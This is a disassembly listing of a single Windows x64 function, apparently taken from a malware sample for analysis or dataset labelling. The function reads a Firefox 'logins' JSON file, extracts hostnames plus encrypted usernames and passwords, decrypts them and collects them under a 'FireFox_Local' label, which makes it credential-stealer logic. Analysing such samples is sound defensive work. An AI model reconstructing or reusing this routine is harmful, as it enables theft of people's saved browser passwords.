Function at 0x140017b10
Capabilities:
Check if file exists
Get file attributes
Get file size
Read file on windows

Disassembly:
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x600
mov qword [rsp + 0x60], 0xfffffffffffffffe
mov qword [rsp + 0x640], rbx
mov rax, qword [0x1401423c0]
xor rax, rsp
mov qword [rsp + 0x5f0], rax
mov r13, rdx
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x14001820a
lea rcx, [rsp + 0xe0]
call fcn.1400a1260
nop
and dword [rsp + 0x48], 0xfffffe00
xor r14d, r14d
mov qword [rsp + 0x50], r14
mov dword [rsp + 0x58], r14d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov edx, 0x10000000
lea r8d, [r14 + 1]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400181ee
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
cmp eax, 0xffffffff
je 0x1400181ee
lea ecx, [rax + 2]
mov esi, ecx
call fcn.1400e3ba4
mov r12, rax
test rax, rax
je 0x1400181ee
mov r8, rsi
xor edx, edx
mov rcx, rax
call fcn.1400e1fc0
mov qword [rsp + 0x20], r14
lea r9, [rsp + 0x58]
mov r8d, ebx
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400181ee
test rdi, rdi
je 0x140017c1a
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0xd8], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0xd0], r14
mov byte [rsp + 0xc0], 0
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, r12
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
mov rdx, r12
lea rcx, [rsp + 0xb8]
call fcn.140004650
nop
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rsp + 0xb8]
lea rcx, [rsp + 0x160]
call fcn.140003df0
lea rdx, [rsp + 0x168]
cmp qword [rsp + 0x180], 0x10
cmovae rdx, qword [rsp + 0x168]
mov r8, qword [rsp + 0x178]
add r8, rdx
mov byte [rsp + 0x20], 1
lea r9, [rsp + 0x40]
lea rcx, [rsp + 0xe0]
call fcn.1400a1330
test al, al
sete dil
cmp qword [rsp + 0xd8], 0x10
jb 0x140017ccf
mov rcx, qword [rsp + 0xc0]
call fcn.1400cfe04
test dil, dil
je 0x140017cf3
lea rcx, [rsp + 0x40]
call fcn.14009efb0
nop
lea rcx, [rsp + 0xe0]
call fcn.140018240
xor al, al
jmp 0x140018210
xor r8d, r8d
lea rdx, str.logins
lea rcx, [rsp + 0x40]
call fcn.14009f730
mov rcx, rax
call fcn.14009f2f0
mov ebx, eax
mov edi, r14d
cmp edi, ebx
jge 0x14001806a
mov byte [rsp + 0x1e0], 0
xor edx, edx
mov r8d, 0x103
lea rcx, [rsp + 0x1e1]
call fcn.1400e1fc0
xor edx, edx
mov r8d, 0x30c
lea rcx, [rsp + 0x2e4]
call fcn.1400e1fc0
xor r8d, r8d
lea rdx, str.logins
lea rcx, [rsp + 0x40]
call fcn.14009f730
mov edx, edi
mov rcx, rax
call fcn.14009f420
xor r8d, r8d
lea rdx, str.hostname
mov rcx, rax
call fcn.14009f730
lea rdx, [rsp + 0xb8]
mov rcx, rax
call fcn.14009f150
nop
xor r8d, r8d
lea rdx, str.logins
lea rcx, [rsp + 0x40]
call fcn.14009f730
mov edx, edi
mov rcx, rax
call fcn.14009f420
xor r8d, r8d
lea rdx, str.encryptedUsername
mov rcx, rax
call fcn.14009f730
lea rdx, [rsp + 0x90]
mov rcx, rax
call fcn.14009f150
nop
xor r8d, r8d
lea rdx, str.logins
lea rcx, [rsp + 0x40]
call fcn.14009f730
mov edx, edi
mov rcx, rax
call fcn.14009f420
xor r8d, r8d
lea rdx, str.encryptedPassword
mov rcx, rax
call fcn.14009f730
lea rdx, [rsp + 0x68]
mov rcx, rax
call fcn.14009f150
nop
lea rcx, [rsp + 0xc0]
cmp qword [rsp + 0xd8], 0x10
cmovae rcx, qword [rsp + 0xc0]
lea rdx, [rsp + 0x1e0]
movzx eax, byte [rcx]
mov byte [rdx], al
inc rcx
inc rdx
test al, al
jne 0x140017e30
lea rcx, [rsp + 0x98]
cmp qword [rsp + 0xb0], 0x10
cmovae rcx, qword [rsp + 0x98]
lea r8, [rsp + 0x2e4]
lea rdx, [0x140111766]
call fcn.140017a20
test eax, eax
jne 0x140017ef8
cmp qword [rsp + 0x88], 0x10
jb 0x140017e8a
mov rcx, qword [rsp + 0x70]
call fcn.1400cfe04
mov qword [rsp + 0x88], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x80], r14
mov byte [rsp + 0x70], 0
cmp qword [rsp + 0xb0], 0x10
jb 0x140017ebb
mov rcx, qword [rsp + 0x98]
call fcn.1400cfe04
mov qword [rsp + 0xb0], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0xa8], r14
mov byte [rsp + 0x98], 0
cmp qword [rsp + 0xd8], 0x10
jb 0x140018063
mov rcx, qword [rsp + 0xc0]
call fcn.1400cfe04
jmp 0x140018063
lea rcx, [rsp + 0x70]
cmp qword [rsp + 0x88], 0x10
cmovae rcx, qword [rsp + 0x70]
lea r8, [rsp + 0x3e8]
lea rdx, [0x140111766]
call fcn.140017a20
test eax, eax
jne 0x140017fab
cmp qword [rsp + 0x88], 0x10
jb 0x140017f3d
mov rcx, qword [rsp + 0x70]
call fcn.1400cfe04
mov qword [rsp + 0x88], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x80], r14
mov byte [rsp + 0x70], 0
cmp qword [rsp + 0xb0], 0x10
jb 0x140017f6e
mov rcx, qword [rsp + 0x98]
call fcn.1400cfe04
mov qword [rsp + 0xb0], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0xa8], r14
mov byte [rsp + 0x98], 0
cmp qword [rsp + 0xd8], 0x10
jb 0x140018063
mov rcx, qword [rsp + 0xc0]
call fcn.1400cfe04
jmp 0x140018063
lea rcx, [rsp + 0x4ec]
mov eax, dword [str.FireFox_Local]
mov dword [rcx], eax
mov eax, dword [0x140112084]
mov dword [rcx + 4], eax
mov eax, dword [0x140112088]
mov dword [rcx + 8], eax
movzx eax, word [reloc.WS2_32.dll_WSACancelAsyncRequest]
mov word [rcx + 0xc], ax
lea rdx, [rsp + 0x1e0]
mov rcx, r13
call fcn.140014020
nop
cmp qword [rsp + 0x88], 0x10
jb 0x140017ffe
mov rcx, qword [rsp + 0x70]
call fcn.1400cfe04
mov qword [rsp + 0x88], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x80], r14
mov byte [rsp + 0x70], 0
cmp qword [rsp + 0xb0], 0x10
jb 0x14001802f
mov rcx, qword [rsp + 0x98]
call fcn.1400cfe04
mov qword [rsp + 0xb0], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0xa8], r14
mov byte [rsp + 0x98], 0
cmp qword [rsp + 0xd8], 0x10
jb 0x140018063
mov rcx, qword [rsp + 0xc0]
call fcn.1400cfe04
inc edi
jmp 0x140017d14
test r12, r12
je 0x140018078
mov rcx, r12
call fcn.1400e387c
nop
movsx eax, byte [rsp + 0x48]
cmp eax, 4
je 0x1400180a6
add eax, 0xfffffffa
cmp eax, 1
ja 0x1400180bd
mov rdi, qword [rsp + 0x40]
test rdi, rdi
je 0x1400180bd
mov rcx, rdi
call fcn.14009fb40
mov rcx, rdi
call fcn.1400cfe04
jmp 0x1400180bd
bt dword [rsp + 0x48], 8
jae 0x1400180bd
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x1400180bd
call fcn.1400e387c
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x1400180e8
lea rdi, [rcx - 8]
lea r9, [0x14009ed20]
mov r8d, dword [rdi]
mov edx, 8
call fcn.1400e7280
mov rcx, rdi
call fcn.1400cfe04
nop
cmp qword [rsp + 0x1d0], 0x10
jb 0x140018100
mov rcx, qword [rsp + 0x1b8]
call fcn.1400cfe04
mov qword [rsp + 0x1d0], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x1c8], r14
mov byte [rsp + 0x1b8], 0
cmp qword [rsp + 0x180], 0x10
jb 0x140018134
mov rcx, qword [rsp + 0x168]
call fcn.1400cfe04
mov qword [rsp + 0x180], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x178], r14
mov byte [rsp + 0x168], 0
lea rcx, [rsp + 0x120]
call fcn.1400186a0
mov rcx, qword [rsp + 0x120]
call fcn.1400cfe04
mov rdx, qword [rsp + 0x118]
test rdx, rdx
je 0x14001818f
sub rdx, 1
mov qword [rsp + 0x118], rdx
jne 0x140018172
mov qword [rsp + 0x110], r14
jmp 0x140018172
mov rdi, qword [rsp + 0x108]
mov rcx, qword [rsp + 0x100]
nop
test rdi, rdi
je 0x1400181c2
dec rdi
cmp qword [rcx + rdi*8], 0
je 0x1400181a0
mov rcx, qword [rcx + rdi*8]
call fcn.1400cfe04
mov rcx, qword [rsp + 0x100]
jmp 0x1400181a0
test rcx, rcx
je 0x1400181cc
call fcn.1400cfe04
mov qword [rsp + 0x108], r14
mov qword [rsp + 0x100], r14
mov rcx, qword [rsp + 0xe0]
call fcn.1400cfe04
nop
mov al, 1
jmp 0x140018210
lea rcx, [rsp + 0x40]
call fcn.14009efb0
nop
lea rcx, [rsp + 0xe0]
call fcn.140018240
xor al, al
jmp 0x140018210
xor al, al
jmp 0x140018210
mov rcx, qword [rsp + 0x5f0]
xor rcx, rsp
call fcn.1400e2890
mov rbx, qword [rsp + 0x640]
add rsp, 0x600
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret